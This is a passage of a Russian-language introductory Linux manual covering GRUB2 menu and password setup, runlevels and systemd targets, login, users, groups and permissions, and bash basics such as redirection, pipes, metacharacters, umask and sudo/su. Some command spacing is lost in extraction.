GRUB_DISABLE_LINUX_UUID – отключает использование специальной системы иденти- фикаторов для определения корневой файловой системы.

Создание пункта меню

Чтобы добавить новую загрузочную опцию необходимо отредактировать скрипт 40_custom. Скрипт 40_custom после установки содержит примерно следующее::

#!/bin/sh exec tail -n +3 $0 # This file provides an easy way to add custom menu entries. Simply type the # menu entries you want to add after this comment. Be careful not to change # the 'exec tail' line above.

Строки, добавляющие новый пункт в меню загрузки выглядят примерно так: • для GNU/Linux

1.1. Операционная система GNU/Linux 29 ABC Unix, Выпуск 1.0.01

menuentry 'Пункт меню' { set root=(hdX,Y) linux/boot/vmlinuz initrd/boot/initrd.img }

• для MS Windows menuentry 'Пункт меню' { chainloader (hdX,Y)+1 } set root=(hdX,Y) – устройство и раздел по умолчанию, для файлов необходимых загрузчику.

Примечание: GRUB2 использует нумерацию разделов с 1, а не с 0, как это было в GRUB. Следовательно первый раздел первого устройства (/dev/sda1) это (hd0,1), а не (hd0,0), как было раньше.

После внесенных изменений нужно сгенерировать новый файл grub.cfg: grub2-mkconfig>/boot/grub/grub.cfg

Командная строка

При загрузке может возникнуть необходимость в командной строке GRUB. Для выхода в режим командной строки необходимо нажать c, для возврата – esc. Командная строка поддерживает автодополнение по Tab. Чтобы в процессе работы в командной строке получить доступ к файлу, находящемуся не в кор- невой файловой системе (получить доступ к файлу, находящемуся в корневой файловой системе можно как обычно /path/to/file), необходимо знать наименование устройств и разделов. Например:

(hd0,1)

означает первый жесткий диск (устройства нумеруются с 0) и на нем первый раздел (разделы нумеруются с единицы), что соответствует /dev/sda1. Если при наборе команды, например: set root=(

нажать Tab, то GRUB сам предложит вам список возможных устройств: possible devices are: hd0 fd0

Если нажать Tab при набранной команде: set root=(hd0,

то вам будет предложен список разделов на первом жестком диске. Ну и для набранной команды: set root=(hd0,1)/

будет предложен список файлов на данном разделе. GRUB использует unicode, т.е. создание пункта меню на русском языке проблем вызвать не должно.

30 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

Настройка безопасности

GRUB предоставляет возможность разграничения прав доступа. Можно создавать обычных поль- зователей, которые могут загружать разрешенные им ОС, а также суперпользователей, которые могут загружать любую ОС, редактировать существующие записи и вызывать командную строку. Список суперпользователей задается командой: set superusers="root"

Создать обычного пользователя и задать ему незашифрованный пароль можно командой: password user 123

Той же командой можно создать пароль суперпользователю. Для создания зашифрованного пароля нужно воспользоваться программой grub-mkpasswd-pbkdf2, а в скриптах прописать соответственно команду: password_pbkdf2 root grub.pbkdf2.sha512.10000.mnogobukv

Все эти команды лучше всего дописать в скрипт 40_custom. Для того, чтобы определенный пользователь мог запускать определенную ОС, он должен быть прописан в списке в соответствующем пункте меню в ключе –users: menuentry "Debian" --users "пользователь1 ... пользователь№" --class ...

Уровни загрузки (режимы работы)

Процесс загрузки ядра отображается подробно если не используется параметр quiet или не отобра- жается (используется параметр quiet). Загрузка ядра завершается монтированием раздела с кор- невой файловой системой (в соответствии с параметром ядра root=). Далее, если не используется параметр загрузки ядра init=, ядро передает управление системе инициализации и управления. На настоящий момент используются две системы инициализации: • System V init (SysV), • Systemd.

System V

Ядро передает управление процессу init запускаемому из файла /sbin/init. Программа init чита- ет содержимое файла /etc/inittab и выполняет действия, предписанные этим файлом. По умол- чанию в соответствии с содержимым файла /etc/inittab GNU/Linux может работать в одном из 7 режимов (runlevel). Режимы обозначаются числами от 0 до 6 и имеют следующее назначение: Режим Назначение 0 Выключение компьютера. 1 Однопользовательский (монопольный) режим. 2 Многопользовательский режим с отключенной сетевой файловой системой (NFS). 3 Многопользовательский режим без графического интерфейса. 4 Уровень, настраиваемый пользователем. По умолчанию соответствует уровню 3. 5 Многопользовательский режим с графическим интерфейсом. 6 Перезагрузка.

1.1. Операционная система GNU/Linux 31 ABC Unix, Выпуск 1.0.01

Systemd

Ядро передает управление процессу systemd, запускаемому из файла /usr/lib/systemd/systemd. Файл /etc/inittab не используется. Концепция режимов работы (runlevel) заменена концепцией целей (target). Для совместимости с системой инициализации System V в Systemd предопределены цели, соответствующие режимам работы: Уровнень Цель systemd Назначение запуска SysV 0 runlevel0.target, Выключить систему poweroff.target 1, s, runlevel1.target, Однопользовательский уровень запуска single rescue.target 2, 4 runlevel2.target, Уровни запуска, определенные пользователем/специфичные runlevel4.target, для узла. По умолчанию соответствует уровню запуска 3 multi-user.target 3 runlevel3.target, Многопользовательский режим без графики. Пользователи, multi-user.target как правило, входят в систему при помощи множества консолей или через сеть 5 runlevel5.target, Многопользовательский режим с графикой. Обычно graphical.target эквивалентен запуску всех служб на уровне 3 и графического менеджера входа в систему 6 runlevel6.target, Перезагрузка reboot.target emergency emergency.target Аварийная оболочка Для настройки загрузки по умолчанию используется специальный target-файл:

/etc/systemd/system/default.target

который на самом деле является ссылкой на target-файл из каталога:

/lib/systemd/system

Для штатной загрузки системы используется один из двух target-файлов: • для загрузки графического интерфейса (аналог 5-го уровня):

graphical.target

• для загрузки консольного интерфейса (аналог 3-го уровня):

multi-user.target

Переключать уровень загрузки по умолчанию можно изменением ссылки:

ln-sf/lib/systemd/system/<режим>.target/etc/systemd/system/default.target

где режим либо graphical, либо multi-user.

Первый вход в систему

Процедура регистрации в системе обязательна. Во время регистрации пользователь должен ввести имя своей учетной записи (login) и соответствующий ей пароль (password). Очевидно, что вход в систему под именем несуществующей учетной записи или с неправильно введенным паролем невозможен. Процедура корректного завершения работы также обязательна. Просто отключать компьютер от сети или нажатие кнопки reset может привести к потере данных и порче файловой системы.

32 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

Вход в систему и выход из системы в графическом режиме

Если ОС GNU/Linux была установлена c поддержкой графического окружения и при загрузке не были использованы параметры ядра для смены режима загрузки, то режим работы системы по умолчанию – 5. Процесс инициализации системы отображается в виде специальной графической заставки (установлен параметр rhgb загрузки ядра) либо в виде вывода диагностических сообще- ний на консоль (не установлен параметр rhgb). Процесс инициализации заканчивается выводом графического приглашения к регистрации в системе. Графический экрана входа в систему называется Display Manager (DM). Он предназначен для идентификации пользователя и настройки параметров сеанса. В зависимости от установленного графического окружения графический вход в систему осуществляется с помощью: • GNOME Display Manager (GDM); • KDE Display Manager (KDM); • Light (LXDM); • и т. д. Другими словами, вариантов входа в систему в графическом режиме много. Если ОС GNU/Linux была установлена без поддержки графического окружения и при загрузке не были использованы параметры ядра для смены режима загрузки, то режим работы системы по умолчанию – 3. Текстовый вход в систему обеспечивает программа типа login.

Примечание: В GNU/Linux так же, как и в системах MS Windows, поддерживающих авторизацию пользователей, не рекомендуется работать под именем суперпользователя (root). Суперпользова- тель может удалять, перемещать, переименовывать или изменять любые файлы системы, поэтому ошибки, совершаемые начинающим пользователем, могут привести к краху системы.

И в графическом и в текстовом режиме для входа в систему необходимо ввести имя учетной записи и пароль. Ввод имени и пароля заканчивается нажмите Enter. Если пароль или имя пользователя введены неправильно, система потребует повторить ввод.

Знакомство с графическим интерфейсом GNOME

Во многих “серверных” дистрибутивах до сих пор используется графическая оболочка GNOME версии 2. Поэтому ниже приведены краткие сведения об организации графического интерфейса GNOME 2. Экран монитора по умолчанию делится на три части: верхняя панель, рабочий стол, нижняя па- нель. На верхней панели слева направо располагаются: • основное меню «Приложения» для запуска программ. В это меню также добавляются вновь устанавливаемые приложения; • меню «Переход» для быстрой навигации по локальным и сетевым папкам; • меню «Среда GNOME» для настройки основных параметров пользователя и системы. Здесь же находятся пункты меню для выключения компьютера и «запирания» экрана; • значки наиболее часто используемых приложений; • область уведомления для отображения состояния программ с графическим интерфейсом; • часы и календарь; • апплет (приложение для панели) управления громкостью. Рабочий стол занимает большую часть экрана. При первом входе в систему любого пользователя на рабочем столе автоматически создаются значки:

1.1. Операционная система GNU/Linux 33 ABC Unix, Выпуск 1.0.01

• «Компьютер» – папка с доступными пользователю устройствами (CDROM, USB Flash и т.д.) и сетевыми ресурсами. • «Домашняя папка пользователя» указывает на каталог с личными файлами пользователя. Для обычного пользователя это единственный каталог, в котором пользователь имеет право записывать и стирать файлы. • «Корзина» – папка со стертыми пользователем файлами, которые можно восстановить. В процессе работы с системой пользователь может добавлять на рабочий стол любые необходи- мые ему значки приложений и документов. Графическая оболочка GNOME позволяет размещать значки пользователя на нескольких (по умолчанию на четырех) рабочих столах. Рабочие столы пользователя схематически отображаются в виде четырех серых значков в нижней панели справа. Для переключения между рабочими столами необходимо кликнуть по соответствующему знач- ку выбираемого рабочего стола. На нижней панели слева расположен значок расчистки рабочего стола. В средней части нижней панели находятся значки запущенных в настоящее время задач. Для выхода из системы предназначен пункт «Завершить сеанс» в меню «Среда GNOME». C по- мощью этого диалога можно: выключить или перезагрузить компьютер, а также завершить сеанс (вернуться в графический экран входа).

Примечание: Флажок «Сохранить текущие установки» предназначен для повторного запуска приложений, работающих в момент выхода из системы, а не для сохранения параметров интерфей- са. Использование этого флажка может привести к значительному замедлению загрузки рабочего стола GNOME.

Вход в систему и выход из системы в текстовом режиме

Если по умолчанию запустился графический вход в систему, нажмите сочетание клавиш Ctrl-Alt- F1 для перехода в первую текстовую консоль. После появления приглашения «login:» введите имя пользователя и нажмите Enter, в следующей строке появится приглашение «Password:». Наберите на клавиатуре пароль пользователя и нажмите Enter.

Примечание: При вводе пароля символы на экране не отображаются, курсор не перемещается.

Если пароль или имя пользователя введены неправильно описанную процедуру необходимо повто- рить с начала. В случае успешного прохождения идентификации появится приглашение для ввода в командную строку, которое для обычного пользователя имеет вид:

[<пользователь>@<компьютера><каталог>]$

где: • <пользователь> – имя пользователя, под регистрационной записью которого осуществлен вход; • <компьютер> – имя компьютера, на который осуществлен вход; • <каталог> – название текущего каталога (первоначально, домашний каталог пользователя). Если вход в систему был осуществлен под именем суперпользователя root, символ приглашения для ввода будет изменен с $ на #. В дальнейшем, приглашение ко вводу будет отображаться в упрощенном виде для обычного пользователя:

$

для суперпользователя:

#

34 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

Примечание: В дальнейшем, если приводится команда, для которой приглашение отображается как $, то это будет означать, что для выполнения данной команды права суперпользователя не требуются.

Выход из системы в текстовом режиме можно осуществить нажатием сочетания клавиш [Ctrl]-[d] или командой:

exit

Знакомство с пользователями и группами

После входа в систему пользователю сопоставляется идентификатор – uid. Пользователи объеди- няются в группы, для распознавания которых так же используется идентификатор – gid. Иденти- фикаторы uid и gid – целые числа в диапазоне от 1 до 65535. Группы, к которым принадлежит пользователь, делятся на основную и дополнительные. Каждому пользователю всегда соответствует хотя бы одна группа (основная), ее идентификатор хранится в регистрационной записи пользователя. Без включения пользователя в основную группу нельзя создать соответствующую ему учетную запись. Принадлежность пользователя к дополнительным группам фиксируется не в регистрационной записи пользователя, а в регистрационных записях групп. Поэтому пользователь может принадлежать, а может и не принадлежать, дополнитель- ным группам. Определить значение uid и значения всех gid для текущего пользователя можно с помощью команды id:

id uid=1001(student) gid=1001(student) группы=10(wheel),1001(student)

В данном случае идентификатор учетной записи пользователя (uid) с именем student – 1001, имя основной группы – student, идентификатор основной группы (gid) – 1001, имя дополнительной группы – wheel (в установленной по умолчанию системе пользователь student не входит в группу wheel), идентификатор дополнительной группы (gid) – 10. Имя текущего пользователя системы всегда можно определить командой whoami:

whoami student

Соответствие между учетной записью и реальным пользователем не является однозначным: несколько пользователей могут использовать одну учетную запись. В то же время при инстал- ляции системы автоматически генерируются учетные записи с идентификаторами от 0 до 100, не соответствующие реальным пользователям (от их имени выполняются системные программы). Идентификаторы обычных пользователей и групп начинаются с 1000 (большинство дистрибутивов GNU/Linux) или 500 (дистрибутивы семейства Red Hat).

Права доступа

Для разграничения прав доступа каждому объекту (файлу, каталогу, устройству и.т.д) присваива- ется три стандартных атрибута: • маска доступа, • владелец, • группа владельцев. Маску доступа условно можно разбить на четыре группы полей, каждая из которых, в свою оче- редь, содержит три бита:

1.1. Операционная система GNU/Linux 35 ABC Unix, Выпуск 1.0.01

Дополнительные Права владельца Права группы Права остальных sSt rwx rwx rwx где: s -бит установки идентификатора пользователя (SUID); S -бит установки идентификатора группы (SGID); t -дополнительный бит, назначение зависит от конкретной системы. r -бит, разрешающий чтение; w -бит, разрешающий запись; x -бит, разрешающий исполнение. Назначение битов r,w,x для файлов очевидно. Для каталогов, установленный бит r позволяет про- сматривать содержимое, а бит x – получать доступ к каталогу. Установка SUID на файле позволяет запускать его на исполнение любому пользователю имеющему к нему доступ на чтение от имени владельца файла. Установка SUID для каталога указывает, что владельцем всех вновь создаваемых в каталоге файлов будет владелец каталога. Аналогично действует бит SGID, но по отношению к группе владельцев. Права доступа принято представлять в виде двоичного числа, в котором 1 в соответствующем раз- ряде означает наличие доступа а 0 запрет доступа. Маску доступа часто записывают в символьном виде, указывая соответствующий символ s,S,t.r,w,x если бит установлен, или символ -, если он сброшен. Старшие сброшенные биты при этом обычно не указываются. Например, маска символьный вид rwx r-x r-x двоичный вид 111 101 101 восьмеричный вид 7 5 5 означает, что владелец имеет полные права на объект, члены группы владельцев и все остальные – только права на чтение и исполнение файла. Все дополнительные биты в примере равны 0, поэтому в восьмеричном виде маску можно записать как 0755. Для управления правами доступа используются команды: chown -управление владельцем и группой владельцев, chgrp -управление группой владельцев, chmod -управление маской доступа. Краткая справка по этим командам дана в разделе “Справочник основных команд и терминов”.

Имя компьютера

Каждый компьютер под управлением UNIX так же как и под управление MS Windows характеризу- ется именем. Имя компьютера в системах UNIX играет более важную роль. Некоторые программы не смогут работать нормально, если имя компьютера не “распознается” (имеется в виду, что име- ни компьютера не соответствует никакой IP адрес). Короткое имя компьютера (без имени домена DNS, которому принадлежит компьютер) можно узнать из приглашения командной строки (см. выше) или с помощью команды hostname

Полное сетевое имя компьютера (Fully Qualified Domain Name) можно узнать с помощью команды hostname-f

В системах семейства Red Hat используется только полное имя компьютера, поэтому обе команды выдают одинаковый результат.

Домашний каталог пользователя

После добавления пользователя в систему создается так называемый домашний каталог этого поль- зователя. По умолчанию, только каталог /tmp и домашний каталог доступен пользователю на

36 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

запись и создание подкаталогов. Домашние каталоги всех пользователей (по умолчанию) располо- жены в каталоге:

/home

По умолчанию имя домашнего каталога пользователя совпадает с именем пользователя. Для того чтобы точно узнать полный путь к домашнему каталогу текущего пользователя нужно просмотреть содержимое переменной HOME: echo $HOME

Системные файлы

В домашнем каталоге пользователя, кроме его данных, находятся системные (скрытые) файлы, содержащие все персональные настройки пользователя. Большинство этих настроек хранится в так называемых системных файлах и каталогах. Системные файлы и каталоги – это обычные файлы и каталоги имя которых начинается с точки. Команды управления файлами по умолчанию не работают с системными файлами и каталогами для этого необходимо использовать специальные опции (см. man на соответствующую команду). В текстовом режиме, сразу после входа в систему текущим каталогом пользователя является до- машний каталог. В графическом режиме изначальным каталогом после запуска командной строки так же будет домашний каталог пользователя. Команда, определяющая текущий каталог pwd

будет показывать домашний каталог пользователя до тех пор, пока не будет осуществлен переход в другой каталог командой cd<каталог>

По умолчанию домашние каталоги обычных пользователей находятся в каталоге /home, а их имя совпадает с именем пользователя. Домашний каталог пользователя имеет специальное обозначение (тильда), поэтому сразу после запуска терминала приглашение командной строки имеет следующий вид:

[<пользователь>@<компьютер>(тильда)]$

Во всех системах семейства UNIX обычный пользователь не имеет прав на запись ни в один каталог, кроме домашнего. В домашний каталог можно перейти с помощью команды cd (change directory) одним из следующих способов: • указывать полное имя домашнего каталога, содержащееся в переменной HOME cd $HONE

• указать специальное обозначение (тильда) cd~

• ничего не указывать cd

Конфигурационные файлы системы

Конфигурационные файлы системы хранятся в каталоге:

1.1. Операционная система GNU/Linux 37 ABC Unix, Выпуск 1.0.01

/etc

Для настройки многих служб и подсистем необходимо несколько конфигурационных файлов, по- этому в каталоге /etc есть подкаталоги, объединяющие несколько конфигурационных файлов од- ной службы. Для просмотра всех конфигурационных файлов необходимо использовать команду, обеспечивающую просмотр не только каталога /etc, но и всех его подкаталогов.

Протоколы (журналы) работы системы

Все протоколы работы системы хранятся в каталоге:

/var/log

В большинстве случаев это обычные текстовые файлы, поэтому их можно просмотреть командой: cat/var/log/<имя протокола>

или командой: less-S/var/log/<имя протокола>

здесь опция -S используется для отмены переноса в строках, превышающих по длине ширину терминала. Особую роль играют два протокола: • основной протокол системы, содержащий все сообщения от большинства служб

/var/log/messages

• протокол загрузки ядра операционной системы /var/log/dmesg

Основы работы в командной строке

Для решении системных задач графический интерфейс не только не нужен, но и вреден. Благодаря тому, что в UNIX-системах графический интерфейс это отдельный сервис, а GUI строиться по мо- дульному принципу. Самый «легкий» пользовательский интерфейс — консольный (текстовый), без поддержки графики. С помощью последнего можно удаленно управлять любой UNIX-системой с минимальными затратами сетевого трафика (первые UNIX системы управлялись по линиям связи с трафиком 512 b/s). Консольный интерфейс также полезен на серверах, поскольку обычные поль- зователи на серверах локально не работают и тратить ресурсы на «прожорливый» графический интерфейс не имеет смысла. Интерфейс командной строки в GNU/Linux обеспечивается специальной программой - командным интерпретатором (оболочкой). В UNIX системах программ, поддерживающих интерфейс команд- ной строки несколько. Далее, рассматривается командный интерпретатор bash как наиболее часто используемый в GNU/Linux. Интерфейс командной строки доступен как в консольном так и в графическом режиме работы. В консольном режиме для доступа к командной строке достаточно зарегистрироваться в системе. В графическом интерфейсе после регистрации необходимо найти пункт меню Терминал и открыть с его помощью окно терминала.

Управляющие комбинации клавиш

В командной строке доступны управляющие комбинации клавиш. Ниже приведены наиболее ис- пользуемые комбинации:

38 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

Комбинация Действие Стрелка вверх Предыдущая команда Стрелка вниз Следующая команда Ctrl+L Очистка экрана (окна) Ctrl+C Принудительное завершение запущенной программы Shift+PageUP Показать предыдущую страницу Shift+PageDown Показать следующую страницу Ctrl+D Завершение текущего сеанса

Автодополнение команд

Функция автодополнения вызывается по клавише [TAB], после нажатия которой оболочка bash пытается найти наиболее близкую по имени команду, анализируя символы, набранные слева от курсора. Автодополнение работает для названий команд и имен файлов. Например, необходимо набрать команду: more/var/log/dmesg

Используя автодополнение сделать это можно следующим образом: mor[TAB]e/v[TAB]ar/log[TAB]/dm[TAB]esg

Если функция автодополнение не находит однозначного продолжения команды или аргумента, выдается звуковой сигнал, после повторного нажатия [TAB] выдается список возможных вариантов продолжения:

$ mo[TAB][TAB] modinfo mount mozilla-firefox modprobe mountpoint mozilla-thunderbird mono mousepad more mozilla $ mo

Примечание: Функция автодополнения не только ускоряет набор длинных команд и аргументов, но и сокращает количество ошибок при наборе в командной строке.

Потоки ввода-вывода

В командной строке (терминале) процесс взаимодействия с пользователем выполняется в терми- нах записи и чтения в файл. Вывод на экран представляется как запись в файл, а ввод — как чтение файла. Файл, из которого осуществляется чтение, называется потоком ввода, а в который осуществляется запись — потоком вывода. Кроме потоков ввода и вывода, существует еще и поток ошибок для вывода ошибок и информа- ционных сообщений. Стандартные потоки привязаны к файловым дескрипторам с номерами 0, 1 и 2: • поток ввода (stdin) — 0; • поток вывода (stdout) — 1; • поток ошибок (stderr) — 2. По умолчанию потоки вывода ассоциированы с файломи устройств (/dev/tty или /dev/ptty), со- ответствующих виртуальным терминалам, поэтому вывод программ по умолчанию отображается на текущий терминал. Аналогично - поток ввода по умолчанию ассоциирован с теми же файлами устройств, поэтому чтение данных по умолчанию осуществляется с клавиатуры.

1.1. Операционная система GNU/Linux 39 ABC Unix, Выпуск 1.0.01

Перенаправление ввода-вывода – это замена устройств ввода/вывода для стандартных пото- ков. Так, например, стандартный поток вывода может быть перенаправлен в файл, при этом весь вывод программы будет записан в указанный файл.

Перенаправление потока вывода

Для перенаправления стандартного вывода в файл используется оператор >. Например, чтобы записать вывод результатов работы программы example в файл results.txt, вводиться команда:

example> result.txt

Если файл не существует, он создается, если существует – информация в нем заменяется на новую. Чтобы добавить вывод к содержимому существующего файла, необходимо использовать оператор >>. Например, для добавления результатов работы при повторном запуске программы example в файл results.txt, вводится команда:

example >> result.txt

Перенаправление потока ввода

Стандартный поток ввода используется, для чтения данных (по умолчанию с клавиатуры). Чтобы перенаправить стандартный поток ввода используется оператор <. Например, вместо ввода множества параметров вычислительной задачи можно записать их в файл, а затем использовать содержимое этого файла вместо ввода с клавиатуры. Пусть программа называется example, а файл данных datafile.txt, тогда:

example< datafile.txt

Перенаправление потока ошибок

Чтобы перенаправить стандартный поток ошибок в файл, используется оператор 2>. Например, чтобы записать ошибки выполнения программы example в файл errors.txt, вводится команда:

example2> errors.txt

Чтобы добавить стандартный поток ошибок в уже существующий файл, используется оператор >> вместо >:

example2>> errors.txt

Чтобы перенаправить в один и тот же файл поток вывода и поток ошибок, используется оператор &>:

example&> output.txt

Простая команда

Вид простой команды следующий:

команда ключи аргументы

Аргументы представляют собой объекты, с которыми будет оперировать команда.

40 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

Ключи (опции) уточняют действие команды. Ключи начинаются с символа - (минус), после которого следует имя ключа. Некоторые ключи подразумевают использование параметров, которые указываются сразу за ключом и могут отделяться от него символом-разделителем. Отдельные ключи в командной строке также разделяются символами-разделителями. Имена команд, ключей и файлов чувствительны к регистру символов. Рассмотрим абстрактный пример:

example –l –s parameter –p –r a.input b.output

Здесь: • example - имя команды, • –l, -s, -p, -r – ключи команды, • parameter – аргумент ключа -s. Интерпретация аргумента a.input зависит от команды. Если для ключа -r необходим параметр, то a.input будет параметром ключа, в противном случае - аргументом команды. b.output является аргументом команды. Порядок указания ключей в командной строке для большинства команд не важен (ВНИМАНИЕ!! Бывают исключения).

“Склеивание” ключей

Несколько подряд идущих односимвольных ключей без параметров могут объединяться в группу, при этом знак минус ставится перед началом группы, а все односимвольные ключи записываются после него без разделителей. С использованием правила “склеивания” вышеуказанную команду можно записать так:

example –lps parameter –r a.input b.output

если, a.input параметр ключа -r и:

example –lprs parameter a.input b.output

если, a.input аргумент команды. Длинные команды можно набирать в несколько строк, используя признак продолжения команды в виде символа \:

example \ –lprs parameter \ a.input \ b.output

Цепочка команд (конвейер)

Конвейер - это перенаправление стандартного потока вывода одной команды в стандартный поток ввода другой. Отдельные команды соединяются в цепочки символом вертикальной чертой |, иногда называемой «трубой» (pipe). Например, просмотреть длинный список файлов в каталоге /usr/bin в итерактивном режиме можно с помощью специальной команды less, соединив ее в цепочку с командой ls:

ls-la/usr/bin| less

1.1. Операционная система GNU/Linux 41 ABC Unix, Выпуск 1.0.01

Последовательность команд

Для выполнения в одной строке нескольких команд используются специальные разделители: ; следующая команда исполняется после завершения предыдущей & предыдущая команда исполняется в фоновом режиме, следующая команда запускается сразу после запуска текущей || следующая команда запускается только после завершения текущей и только если предыдущая команда закончилась с ненулевым кодом завершения && следующая команда запускается только после завершения текущей и только если предыдущая команда закончилась с нулевым кодом завершения Перечисленные операторы-разделители могут не отделяться от команд пробелами. Например, пе- реход в домашний каталог и просмотр файлов домашнего каталога можно выполнить с помощью одной последовательности команд:

cd;ls-l

Следующая команда открывает в фоновом режиме файл NewFile.txt в домашнем каталоге пользо- вателя с помощью редактора gedit, оставляя командную строку свободной для ввода последующих команд:

cd;nohup gedit NewFile.txt&

Команда nohup “отключает” процесс gedit от текущего терминала, что позволяет работать редак- тору даже после закрытия терминала.

Составная команда

Последовательность команд, в которой порядок исполнения задается с помощью круглых скобок называется составной командой.

Переменная окружения PATH

После разбиения командной строки на отдельные простые команды интерпретатор начинает их исполнение. Если в имени команды не указан каталог, то bash пытается найти исполняемый файл с указанным именем в каталогах, хранящихся в переменной окружения PATH. Если в переменной окружения PATH не указан текущий каталог (это справедливо для большинства дистрибутивов GNU/Linux), то для запуска программ из текущего каталога он должен быть указан явно. Так, для запуска программы test, находящейся в текущем каталоге должна быть использована строка

./test

а не

test

Примечание: Во втором случае будет запущена программа test из каталога /usr/bin.

Метасимволы

После разбиения командной строки на отдельные простые команды интерпретатор начинает их исполнение. Перед исполнением команд, интерпретатор производит подстановку так называемых метасимволов для окончательного формирования командной строки. Интерпретатор распознает следующие метасимволы:

42 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

~ заменяется на домашний каталог текущего пользователя ~ПОЛЬЗОВАТЕЛЬзаменяется на домашний каталог заданного пользователя ПОЛЬЗОВАТЕЛЬ $ПЕРЕМЕННАЯзаменяется на текущее значение переменной ПЕРЕМЕННАЯ. * заменяется на список файлов, удовлетворяющих шаблону до выполнения команды, (звездочка)поэтому в команду передается не символ *, а список имен файлов. $(КОМАНДА)подставляются данные, выведенные командой КОМАНДА в стандартный поток вывода при ее выполнении. `КОМАНДА` (команда в обратных апострофах) подставляются данные, выведенные командой КОМАНДА в стандартный поток вывода при ее выполнении. Примеры использования метасимволов:

echo $PATH

выводит значение переменной PATH (выполняет команду echo с параметром, являющимся значени- ем переменной окружения PATH);

echo $BIN/a*c

выполняется команда echo с параметрами, представляющими собой список имен файлов, начинаю- щихся с символа a и заканчивающихся символом c, находящихся в каталоге, имя которого хранится в переменной окружения BIN;

echo `ls $BOOT`

или:

echo $(ls $BOOT)

выполняется команда echo с аргументом, получающимся как результат выполнения команды ls $BOOT.

Пользователи и группы

После успешного входа в систему пользователю сопоставляются два уникальных идентификатора: • uid -идентификатор пользователя, • gid -идентификатор группы. Определить значение uid и значения всех gid для текущего пользователя можно с помощью ко- манды:

id

Вывод команды выглядит примерно так:

uid=1001(student) gid=1001(student) группы=10(wheel),1001(student)

В данном случае: • идентификатор учетной записи пользователя (uid) – 1001, • имя учетной записи – student • идентификатор основной группы (gid) – 1001, • имя основной группы – student, • идентификатор дополнительной группы (gid) – 10. • имя дополнительной группы – wheel, Имя текущего пользователя системы можно определить командой:

1.1. Операционная система GNU/Linux 43 ABC Unix, Выпуск 1.0.01

whoami

Вывод команды выглядит примерно так:

student

Соответствие между учетной записью и реальным пользователем не является однозначным: несколько пользователей могут использовать одну учетную запись. В то же время при инстал- ляции системы автоматически генерируются учетные записи с идентификаторами от 0 до 100, не соответствующие реальным пользователям (от их имени выполняются системные программы). Идентификаторы обычных пользователей и групп начинаются с 1000 или 500 в зависимости от дистрибутива. Идентификаторы с меньшими значениями зарезервированы следующим образом: • 0 – встроенный администратор системы (“суперпользователь”) – root; • 1 ... 99 – системные пользователи для запуска сервисов и системных утилит; • 100 ... 1000 (500) – пользователи, создаваемые при установке некоторых программ или адми- нистратором для решения своих задач. Только одна учетная запись с именем root, uid=0 и gid=0 принципиально отличаются от остальных учетных записей. Учетная запись с именем root генерируется автоматически при инсталляции системы и обязательно присутствует в системе.

Предупреждение: Пользователю root разрешено выполнять любые действия в системе, а зна- чит, ошибка или неправильное действие от имени этого пользователя может повредить систему или уничтожить данные других пользователей. Поэтому не рекомендуется регистрироваться в системе под именем root для повседневной работы. Работать под пользователем root следует только тогда, когда это действительно необходимо: при настройке, обновлении или восстанов- лении системы.

Переменные окружения

После успешного входа в систему пользователю кроме идентификаторов, описанных выше, со- поставляется так называемое окружение, представляющее собой набор переменных. Посмотреть значение переменных окружения текущего пользователя можно с помощью команды:

env

Наиболее часто используемые переменные окружения следующие: USER имя HOME домашний каталог LANG язык PATH список каталогов в которых ищутся исполняемые файлы, если при их запуске не указан полный путь DISPLAY адрес X-сервера и номер экрана для вывода графической информации

Домашний каталог

После добавления пользователя в систему создается так называемый домашний каталог этого поль- зователя. По умолчанию домашние каталоги обычных пользователей создаются в каталоге:

/home

а имена домашних каталогов совпадают с именами учетных записей пользователей. Полный путь до домашнего каталога пользователя хранится в переменной HOME. Узнать месторасположение до- машнего каталога для текущего пользователя можно с помощью команды:

44 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

echo $HOME

После запуска терминала (входа в систему с терминала) текущим каталогом пользователя является его домашний каталог. Домашний каталог пользователя имеет специальное обозначение ~ (тильда), поэтому сразу после запуска терминала приглашение командной строки имеет вид:

[<пользователь>@<компьютер> ~]$

В процессе работы текущий каталог может быть изменен с помощью команды: cd<каталог>

Вернуться в домашний каталог можно одним из следующих способов: • указав полное имя домашнего каталога с помощью переменной HOME:

cd $HOME

• использовав специальное обозначение домашнего каталога:

cd~

• выполнив команду cd без аргументов:

cd

Пользовательская маска

При создании пользователем файла или каталога начальные права устанавливаются в соответствии с так называемой пользовательской маской (umask) по следующим правилам: • если создается файл, то пользовательская маска вычитается из восьмеричного числа 666; • если создается каталог, то из восьмеричного числа 777. Для управления пользовательской маской служит команда: umask [-S] МАСКА

Если параметр МАСКА не указан, команда выводит текущее значение маски: umask

022

По умолчанию, значение выводится и задается в восьмеричном виде как число, которое необходимо вычесть из максимальных прав доступа. С опцией -S команда выводит символьный эквивалент маски, показывая устанавливаемые при создании файла биты: umask-S u=rwx,g=rx,o=rx

Файлы настроек пользователя и скрипты инициализации

Все настройки пользователя (локаль, настройки пользовательских программ, настройки графиче- ского интерфейса) хранятся в его домашнем каталоге. Имена файлов и каталогов относящихся к инициализации и настройкам пользователя начинаются с точки. Такие файлы называются систем- ными и не отображаются командой ls без использования специальной опции -a.

1.1. Операционная система GNU/Linux 45 ABC Unix, Выпуск 1.0.01

Настройки языка пользователя (локаль) хранятся в файле:

.i18n

Каждый раз, при входе пользователя в систему выполняется скрипт инициализации:

.profile

находящийся в корне домашнего каталога. Если интерпретатором пользователя является bash, то каждый запуск командной строки начина- ется с выполнения скрипта инициализации:

.bashrc

Выполнение команд от имени другого пользователя

Для запуска команд (в том числе и командного интепретатора) от имени другого пользователя предназначены две команды: • sudo • su

Примечание: Если с помощью перечисленных команд открывается новый сеанс (запускается новый интерпретатор командной строки), то завершить его можно нажатием Ctrl-d или командой:

exit

Обе утилиты по умолчанию пытаются запустиь процесс от имени суперпользователя (uid=0, gid=0). Утилиьта sudo запрашивает пароль пользователя от имени которого запущена текущая ко- мандная строка. Утилиьта su запрашивает пароль пользователя от имени которого будет запущена команда.

